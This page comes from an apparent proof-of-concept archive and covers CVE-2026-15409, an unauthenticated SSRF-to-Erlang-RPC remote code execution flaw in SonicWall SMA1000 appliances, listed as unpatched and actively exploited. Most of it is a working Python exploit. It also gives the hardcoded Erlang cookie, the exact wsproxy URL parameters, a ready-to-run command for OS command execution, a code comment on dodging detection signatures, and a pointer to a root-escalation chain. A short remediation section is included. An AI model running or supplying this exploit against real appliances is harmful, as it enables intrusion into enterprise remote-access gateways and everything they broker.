PoC Archive PoC Archive
Critical CVE-2026-15409 (SNWLID-2026-0008) unpatched

SonicWall SMA1000 WorkPlace SSRF → Internal Erlang RPC Remote Code Execution (CVE-2026-15409)

by Ryan Emmons (Rapid7) · 2026-07-15

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-15409 (SNWLID-2026-0008)
Category
network
Affected product
SonicWall SMA1000 Appliance — WorkPlace interface (websocket proxy service)
Affected versions
SMA1000 appliances; PoC developed/tested against ex_sra_vm_12.5.0-02002.ova with the June 2026 hotfix applied (the last build prior to the fix)
Disclosed
2026-07-15
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-15
Last Updated2026-07-15
Author / ResearcherRyan Emmons (Rapid7)
CVE / AdvisoryCVE-2026-15409 (SNWLID-2026-0008)
Categorynetwork
SeverityCritical
CVSS Score10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusWeaponized — unauthenticated, non-root remote code execution confirmed against a real appliance build
Tagssonicwall, sma1000, workplace, ssrf, erlang, rpc, cwe-918, unauthenticated, remote, kev, actively-exploited
RelatedCVE-2026-15410 (post-auth privesc to root, chained after this)

Affected Target

FieldValue
Software / SystemSonicWall SMA1000 Appliance — WorkPlace interface (websocket proxy service)
Versions AffectedSMA1000 appliances; PoC developed/tested against ex_sra_vm_12.5.0-02002.ova with the June 2026 hotfix applied (the last build prior to the fix)
Language / PlatformErlang/OTP (BEAM VM) backend behind an HTTPS/websocket front end
Authentication RequiredNo
Network Access RequiredYes — direct reachability to the WorkPlace service (typically port 443)

Summary

The SMA1000 WorkPlace interface exposes a websocket-based remote-access proxy (wsproxy) that lets an authenticated remote-access session request a proxied connection to a destination host/port/service combination (e.g. SSH, TELNET). The proxy does not restrict which internal destination it will connect to: an unauthenticated attacker can point it at 127.0.0.1/0.0.0.0 on port 1050 (or 8188, observed in the wild) — the appliance’s own internal Erlang distribution port. Once the websocket is redirected there, the attacker completes a standard Erlang inter-node distribution handshake using a cookie value that is hardcoded and consistent across appliances, and then issues arbitrary Erlang RPC calls (os:cmd/1, file:read_file/1, etc.) against the node — resulting in unauthenticated remote code execution as the low-privilege couchdb user. CISA has confirmed active in-the-wild exploitation, added this to KEV on 2026-07-14, and the researcher’s own notes describe an observed follow-on privilege-escalation chain to root via the related CVE-2026-15410.


Vulnerability Details

Root Cause

Tracked as CWE-918 (Server-Side Request Forgery). The WorkPlace wsproxy service accepts client-controlled host, port, and serviceType parameters (plus a bmID bookmark identifier) and blindly connects the proxied websocket tunnel to whatever destination is requested — with no restriction confining it to legitimate remote-access targets. This lets an attacker redirect the tunnel to the appliance’s own loopback interface and reach an internal-only Erlang distribution listener (part of the appliance’s BEAM VM cluster infrastructure), which was never intended to be reachable from outside the box. From there, the Erlang inter-node distribution protocol’s own authentication (an MD5 challenge/response keyed on a shared “cookie”) is defeated because the cookie value is hardcoded and identical across appliances rather than being a per-install secret — so the attacker can complete the handshake and issue arbitrary RPC calls into the node.

Attack Vector

  1. Connect to the target’s WorkPlace websocket proxy endpoint (wss://target/wsproxy?...) without any authentication.
  2. Set bmID to any value beginning with -3389 (arbitrary suffix), serviceType to SSH (or an alternate like TELNET), host to 0.0.0.0 (or another loopback-equivalent form), and port to 1050 (the appliance’s internal Erlang distribution port; port 8188 was also observed exploited in the wild).
  3. Once the websocket tunnel is established to the internal Erlang port, perform the standard Erlang distribution handshake (send_namerecv_statusrecv_challengesend_challenge_replyrecv_challenge_ack) using the hardcoded cookie value.
  4. Issue an RPC call (e.g. rex module call request for os:cmd/1) to execute an arbitrary OS command as the couchdb process user.
  5. Optionally chain to CVE-2026-15410 (SMA1000 AMC code injection, targeting localhost:8188’s “remove hotfix” XML-RPC path-traversal handler) from the resulting shell to escalate to root.

Impact

Unauthenticated remote code execution on internet-facing SMA1000 secure remote-access appliances, initially as a low-privilege service account (couchdb) with a documented path to root privilege escalation via a companion vulnerability. Given SMA1000’s role as an enterprise remote-access gateway, compromise here can expose everything the appliance brokers access to.


Environment / Lab Setup

Target:      SonicWall SMA1000 appliance (WorkPlace service reachable on port 443);
             PoC developed/verified against ex_sra_vm_12.5.0-02002.ova + June 2026 hotfix
Attacker:    Python 3 + the `websockets` library (for the ws-tunneled variant) or a
             direct TCP socket (if port 1050/8188 is reachable without the proxy)
Tools:       cve-2026-15409.py (this folder)

Setup Steps

1
pip install websockets

Proof of Concept

See cve-2026-15409.py (full, unmodified) and upstream-README.md in this folder — mirrored from remmons-r7/rapid7-CVE-2026-15409. Verified before ingestion: read the full 531-line script — it implements the Erlang External Term Format (ETF) encoder/decoder and the full distribution handshake (name packet, status, challenge, challenge-reply, challenge-ack, MD5 digest per OTP’s dist_util.erl scheme) from scratch using only the standard library plus websockets, then performs a genuine rex-module RPC call (os:cmd/1, file:read_file/1, or erlang:node/0) over the authenticated distribution channel. No obfuscation, no unrelated network calls, no destructive default behavior — the author’s own notes candidly describe exact field values (bmID prefix, hardcoded cookie, alternate ports observed in the wild) consistent with genuine, tested exploitation rather than a template or guess.

Step-by-Step Reproduction

1
2
3
4
5
6
python3 cve-2026-15409.py \
  --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
  --ws-user-agent 'SMA Connect Agent' \
  --ws-insecure-tls \
  --cookie 10ecad5b446e86864832904cd439b6b70262 \
  --exec 'whoami && id && pwd && hostname'

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def rpc_call(sock, node_name, module, function, args):
    sender_pid = Pid(node=node_name, ident=1, serial=0, creation=0)
    request = etf_tuple(
        etf_pid(sender_pid),
        etf_tuple(
            etf_atom("call"), etf_atom(module), etf_atom(function),
            etf_list(args), etf_atom("user"),
        ),
    )
    control = etf_tuple(
        etf_small_int(6), etf_pid(sender_pid), etf_atom("nocookie"), etf_atom("rex"),
    )
    send_dist_packet(sock, bytes([112, ETF_VERSION]) + control + bytes([ETF_VERSION]) + request)
    # ... reads back the {rex, Result} reply tuple

rpc = ("os", "cmd", [etf_string("id")])
peer_name, peer_flags, peer_creation, rpc_result = connect(
    host, port, cookie="10ecad5b446e86864832904cd439b6b70262", node_name=f"py_{os.getpid()}@127.0.0.1",
    rpc=rpc, ws_url=ws_url, ws_insecure_tls=True,
)

Expected Output

Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchApply SonicWall’s fix per SNWLID-2026-0008 — upgrade SMA1000 firmware past the version tested here (post June 2026 hotfix).
WorkaroundRestrict network exposure of the WorkPlace interface to trusted networks/VPN only where possible; monitor wsproxy bookmark requests for internal-address destinations.
Incident response if already compromisedTreat as full appliance compromise given the documented chain to root via CVE-2026-15410 — rotate all credentials/secrets the appliance had access to and rebuild from a known-clean image.

References


Notes

Surfaced via a --days 4 only 2026 CVE discovery sweep on 2026-07-15. CISA added this CVE (and 4 others: Oracle E-Business Suite CVE-2026-46817, SonicWall SMA1000 CVE-2026-15410, Microsoft AD FS CVE-2026-56155, Microsoft SharePoint CVE-2026-56164) to KEV on 2026-07-14/07-15 — none of these were caught by the standard NVD lastModified-window query, since KEV additions don’t always re-touch a CVE’s NVD record; they were found by directly diffing the KEV catalog’s own dateAdded field against the discovery window instead.

Of the 5 fresh KEV entries checked, this was the only one with a real, working exploit: the researcher (Ryan Emmons, Rapid7) fully implements the Erlang distribution protocol from scratch and demonstrates genuine command execution. The other 4 were checked and rejected before ingestion per this archive’s verify-before-ingest standard: CVE-2026-46817’s only public “PoC” is a passive endpoint prober that never exercises the actual vulnerable code path; CVE-2026-15410’s only public “PoC” explicitly self-describes as a blind guess since “the real vulnerable endpoint and parameter are NOT public”; CVE-2026-56164’s repo claims a working exploit script that does not actually exist in the repository (only a README referencing a tinyurl.com link) — a phantom-PoC pattern consistent with scam/dropper lures seen elsewhere this archive has declined to credit; and CVE-2026-56155 had no public PoC repos at all.

cve-2026-15409.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Exploit by Ryan Emmons @ Rapid7 w/ Claude Code
# Targets the WorkPlace service (usually listening on port 443), likely to be enabled almost all of the time (requires setting up a user auth method like basic AD)
# Developed against ex_sra_vm_12.5.0-02002.ova with the June 2026 hotfix applied (latest prior to patch)
# example rce usage: python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
# Cookie should be consistent across targets, it's hardcoded for the Erlang process on localhost:1050, based on testing.
# Arbitrary bmID values should generally work as long as the value begins with "-3389". Don't write signatures against "serviceType=SSH", since there are alts like TELNET that work too. 0.0.0.0 can be swapped out for alt addr formats as well.
# Port 1050 is an exploitation technique, not a hardcoded req for exploitation. EITW was observed targeting port 8188 as well, though it seems easier to just use 1050. There may be other services on different ports that can be exploited too.
# Attacker can privesc to root with "remove hotfix" xmlrpc traversal exploit CVE-2026-15410 (targeting localhost:8188) once a shell is established
import argparse
import base64
import getpass
import hashlib
import os
import secrets
import socket
import ssl
import struct
from dataclasses import dataclass

from websockets.sync.client import connect as websocket_connect

# OTP 25 mandatory distribution flags.
DFLAG_EXTENDED_REFERENCES = 0x00000004
DFLAG_FUN_TAGS = 0x00000010
DFLAG_NEW_FUN_TAGS = 0x00000080
DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
DFLAG_EXPORT_PTR_TAG = 0x00000200
DFLAG_BIT_BINARIES = 0x00000400
DFLAG_NEW_FLOATS = 0x00000800
DFLAG_UTF8_ATOMS = 0x00010000
DFLAG_MAP_TAG = 0x00020000
DFLAG_BIG_CREATION = 0x00040000
DFLAG_HANDSHAKE_23 = 0x01000000

FLAGS = (
    DFLAG_EXTENDED_REFERENCES
    | DFLAG_FUN_TAGS
    | DFLAG_NEW_FUN_TAGS
    | DFLAG_EXTENDED_PIDS_PORTS
    | DFLAG_EXPORT_PTR_TAG
    | DFLAG_BIT_BINARIES
    | DFLAG_NEW_FLOATS
    | DFLAG_UTF8_ATOMS
    | DFLAG_MAP_TAG
    | DFLAG_BIG_CREATION
    | DFLAG_HANDSHAKE_23
)

ETF_VERSION = 131
SMALL_INTEGER_EXT = 97
INTEGER_EXT = 98
ATOM_EXT = 100
REFERENCE_EXT = 101
PID_EXT = 103
SMALL_TUPLE_EXT = 104
NEW_PID_EXT = 88
NEWER_REFERENCE_EXT = 90
NIL_EXT = 106
STRING_EXT = 107
LIST_EXT = 108
BINARY_EXT = 109
ATOM_UTF8_EXT = 118
SMALL_ATOM_UTF8_EXT = 119


@dataclass(frozen=True)
class Pid:
    node: str
    ident: int
    serial: int
    creation: int


@dataclass(frozen=True)
class Reference:
    node: str
    ident: int
    creation: int


class WebSocketTransport:
    SMA_READY_FRAME = b"\x0b\x00\x00\x00\x00"

    def __init__(self, url, origin=None, user_agent=None, insecure_tls=False):
        additional_headers = {}
        if user_agent:
            additional_headers["User-Agent"] = user_agent
        ssl_context = None
        if insecure_tls:
            ssl_context = ssl._create_unverified_context()
        self._ws = websocket_connect(
            url,
            origin=origin,
            additional_headers=additional_headers or None,
            subprotocols=["binary"],
            compression=None,
            max_size=None,
            ping_interval=None,
            ssl=ssl_context,
            user_agent_header=None,
        )
        self._recv_buffer = bytearray()
        self._consume_ready_frame()

    def _coerce_message(self, message):
        if isinstance(message, str):
            return message.encode()
        if isinstance(message, bytes):
            return message
        raise TypeError(f"unexpected websocket message type: {type(message)!r}")

    def _consume_ready_frame(self):
        try:
            message = self._ws.recv(timeout=1)
        except TimeoutError:
            return
        if message is None:
            return
        data = self._coerce_message(message)
        if data != self.SMA_READY_FRAME:
            self._recv_buffer.extend(data)

    def sendall(self, data):
        self._ws.send(base64.b64encode(data).decode("ascii"))

    def recv(self, size):
        while len(self._recv_buffer) < size:
            message = self._ws.recv()
            if message is None:
                break
            self._recv_buffer.extend(self._coerce_message(message))

        data = bytes(self._recv_buffer[:size])
        del self._recv_buffer[:size]
        return data

    def close(self):
        self._ws.close()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc, tb):
        self.close()


def open_transport(
    host,
    port,
    ws_url=None,
    ws_origin=None,
    ws_user_agent=None,
    ws_insecure_tls=False,
):
    if ws_url:
        return WebSocketTransport(
            ws_url,
            origin=ws_origin,
            user_agent=ws_user_agent,
            insecure_tls=ws_insecure_tls,
        )
    return socket.create_connection((host, port), timeout=5)


def recv_exact(sock, size):
    buf = bytearray()
    while len(buf) < size:
        chunk = sock.recv(size - len(buf))
        if not chunk:
            raise ConnectionError("peer closed connection")
        buf.extend(chunk)
    return bytes(buf)


def send_handshake_packet(sock, payload):
    sock.sendall(struct.pack(">H", len(payload)) + payload)


def recv_handshake_packet(sock):
    size = struct.unpack(">H", recv_exact(sock, 2))[0]
    return recv_exact(sock, size)


def send_dist_packet(sock, payload):
    sock.sendall(struct.pack(">I", len(payload)) + payload)


def recv_dist_packet(sock):
    size = struct.unpack(">I", recv_exact(sock, 4))[0]
    if size == 0:
        return b""
    return recv_exact(sock, size)


def erl_digest(cookie, challenge):
    # OTP dist_util.erl uses md5(atom_to_list(Cookie) ++ integer_to_list(Challenge)).
    return hashlib.md5((cookie + str(challenge)).encode()).digest()


def parse_challenge(payload):
    if payload[:1] == b"N":
        if len(payload) < 19:
            raise ValueError("short new-style challenge packet")

        flags, challenge, creation, name_len = struct.unpack(">QIIH", payload[1:19])
        name = payload[19 : 19 + name_len].decode(errors="replace")
        return flags, challenge, creation, name

    if payload[:1] == b"n":
        if len(payload) < 11:
            raise ValueError("short old-style challenge packet")

        version, flags, challenge = struct.unpack(">HII", payload[1:11])
        name = payload[11:].decode(errors="replace")
        return flags, challenge, 0, name

    raise ValueError(f"unexpected challenge packet tag: {payload[:1]!r}")


def etf_atom(value):
    data = value.encode()
    if len(data) <= 255:
        return bytes([SMALL_ATOM_UTF8_EXT, len(data)]) + data
    return bytes([ATOM_UTF8_EXT]) + struct.pack(">H", len(data)) + data


def etf_small_int(value):
    if not 0 <= value <= 255:
        raise ValueError("small integer out of range")
    return bytes([SMALL_INTEGER_EXT, value])


def etf_int(value):
    return bytes([INTEGER_EXT]) + struct.pack(">i", value)


def etf_nil():
    return bytes([NIL_EXT])


def etf_string(value):
    data = value.encode()
    return bytes([STRING_EXT]) + struct.pack(">H", len(data)) + data


def etf_binary(value):
    if isinstance(value, str):
        value = value.encode()
    return bytes([BINARY_EXT]) + struct.pack(">I", len(value)) + value


def etf_tuple(*items):
    if len(items) > 255:
        raise ValueError("tuple arity too large for SMALL_TUPLE_EXT")
    return bytes([SMALL_TUPLE_EXT, len(items)]) + b"".join(items)


def etf_list(items):
    return bytes([LIST_EXT]) + struct.pack(">I", len(items)) + b"".join(items) + etf_nil()


def etf_pid(pid):
    return (
        bytes([PID_EXT])
        + etf_atom(pid.node)
        + struct.pack(">II", pid.ident, pid.serial)
        + bytes([pid.creation])
    )


def etf_reference(ref):
    return (
        bytes([REFERENCE_EXT])
        + etf_atom(ref.node)
        + struct.pack(">I", ref.ident)
        + bytes([ref.creation])
    )


def decode_etf(data, offset=0):
    tag = data[offset]
    offset += 1

    if tag == ETF_VERSION:
        return decode_etf(data, offset)

    if tag == SMALL_INTEGER_EXT:
        return data[offset], offset + 1

    if tag == INTEGER_EXT:
        return struct.unpack(">i", data[offset : offset + 4])[0], offset + 4

    if tag in (ATOM_EXT, ATOM_UTF8_EXT):
        length = struct.unpack(">H", data[offset : offset + 2])[0]
        offset += 2
        return data[offset : offset + length].decode(errors="replace"), offset + length

    if tag == SMALL_ATOM_UTF8_EXT:
        length = data[offset]
        offset += 1
        return data[offset : offset + length].decode(errors="replace"), offset + length

    if tag == STRING_EXT:
        length = struct.unpack(">H", data[offset : offset + 2])[0]
        offset += 2
        return data[offset : offset + length].decode(errors="replace"), offset + length

    if tag == BINARY_EXT:
        length = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        return data[offset : offset + length], offset + length

    if tag == NIL_EXT:
        return [], offset

    if tag == SMALL_TUPLE_EXT:
        arity = data[offset]
        offset += 1
        values = []
        for _ in range(arity):
            value, offset = decode_etf(data, offset)
            values.append(value)
        return tuple(values), offset

    if tag == LIST_EXT:
        length = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        values = []
        for _ in range(length):
            value, offset = decode_etf(data, offset)
            values.append(value)
        tail, offset = decode_etf(data, offset)
        if tail != []:
            values.append(("tail", tail))
        return values, offset

    if tag == PID_EXT:
        node, offset = decode_etf(data, offset)
        ident, serial = struct.unpack(">II", data[offset : offset + 8])
        offset += 8
        creation = data[offset]
        return Pid(node, ident, serial, creation), offset + 1

    if tag == NEW_PID_EXT:
        node, offset = decode_etf(data, offset)
        ident, serial, creation = struct.unpack(">III", data[offset : offset + 12])
        return Pid(node, ident, serial, creation), offset + 12

    if tag == REFERENCE_EXT:
        node, offset = decode_etf(data, offset)
        ident = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        creation = data[offset]
        return Reference(node, ident, creation), offset + 1

    if tag == NEWER_REFERENCE_EXT:
        length = struct.unpack(">H", data[offset : offset + 2])[0]
        offset += 2
        node, offset = decode_etf(data, offset)
        creation = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        ids = []
        for _ in range(length):
            ids.append(struct.unpack(">I", data[offset : offset + 4])[0])
            offset += 4
        return ("reference", node, creation, tuple(ids)), offset

    raise ValueError(f"unsupported ETF tag: {tag}")


def rpc_call(sock, node_name, module, function, args):
    sender_pid = Pid(node=node_name, ident=1, serial=0, creation=0)
    request = etf_tuple(
        etf_pid(sender_pid),
        etf_tuple(
            etf_atom("call"),
            etf_atom(module),
            etf_atom(function),
            etf_list(args),
            etf_atom("user"),
        ),
    )
    control = etf_tuple(
        etf_small_int(6),
        etf_pid(sender_pid),
        etf_atom("nocookie"),
        etf_atom("rex"),
    )
    send_dist_packet(sock, bytes([112, ETF_VERSION]) + control + bytes([ETF_VERSION]) + request)

    while True:
        packet = recv_dist_packet(sock)
        if not packet:
            continue
        if packet[0] != 112:
            raise RuntimeError(f"unexpected distribution packet type: {packet[0]}")

        control_term, offset = decode_etf(packet, 1)
        message_term, _ = decode_etf(packet, offset)
        if (
            isinstance(control_term, tuple)
            and control_term
            and control_term[0] == 2
            and isinstance(message_term, tuple)
            and len(message_term) == 2
            and message_term[0] == "rex"
        ):
            return message_term[1]


def format_term(value):
    if isinstance(value, bytes):
        return value.decode(errors="replace")
    if isinstance(value, tuple):
        return "{" + ", ".join(format_term(item) for item in value) + "}"
    if isinstance(value, list):
        return "[" + ", ".join(format_term(item) for item in value) + "]"
    return str(value)


def connect(
    host,
    port,
    cookie,
    node_name,
    rpc=None,
    ws_url=None,
    ws_origin=None,
    ws_user_agent=None,
    ws_insecure_tls=False,
):
    node_name_bytes = node_name.encode()
    my_creation = 0

    with open_transport(
        host,
        port,
        ws_url=ws_url,
        ws_origin=ws_origin,
        ws_user_agent=ws_user_agent,
        ws_insecure_tls=ws_insecure_tls,
    ) as sock:
        name_packet = (
            b"N"
            + struct.pack(">QIH", FLAGS, my_creation, len(node_name_bytes))
            + node_name_bytes
        )
        send_handshake_packet(sock, name_packet)

        status = recv_handshake_packet(sock)
        if not status.startswith(b"s"):
            raise RuntimeError(f"unexpected status packet: {status!r}")

        status_text = status[1:].decode(errors="replace")
        if status_text not in ("ok", "ok_simultaneous"):
            raise RuntimeError(f"connection rejected: {status_text}")

        challenge_packet = recv_handshake_packet(sock)
        peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(
            challenge_packet
        )

        my_challenge = secrets.randbits(32)
        reply = b"r" + struct.pack(">I", my_challenge) + erl_digest(cookie, peer_challenge)
        send_handshake_packet(sock, reply)

        ack = recv_handshake_packet(sock)
        if ack[:1] != b"a":
            raise RuntimeError(f"unexpected ack packet: {ack!r}")

        if ack[1:] != erl_digest(cookie, my_challenge):
            raise RuntimeError("cookie authentication failed")

        rpc_result = None
        if rpc is not None:
            rpc_result = rpc_call(sock, node_name, *rpc)

        return peer_name, peer_flags, peer_creation, rpc_result


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=1050)
    parser.add_argument("--cookie", default="10ecad5b446e86864832904cd439b6b70262")
    parser.add_argument("--name", default=f"py_{os.getpid()}@127.0.0.1")
    parser.add_argument("--ws-url")
    parser.add_argument("--ws-origin")
    parser.add_argument("--ws-user-agent")
    parser.add_argument("--ws-insecure-tls", action="store_true")
    parser.add_argument("--rpc", action="store_true", help="call erlang:node/0 after authenticating")
    parser.add_argument("--read-file", help="call file:read_file/1 for the given path")
    parser.add_argument("--exec", dest="exec_command", help="call os:cmd/1 with the given command")
    args = parser.parse_args()

    cookie = args.cookie or getpass.getpass("Erlang cookie: ")
    if args.exec_command:
        rpc = ("os", "cmd", [etf_string(args.exec_command)])
    elif args.read_file:
Showing 500 of 532 lines View full file on GitHub →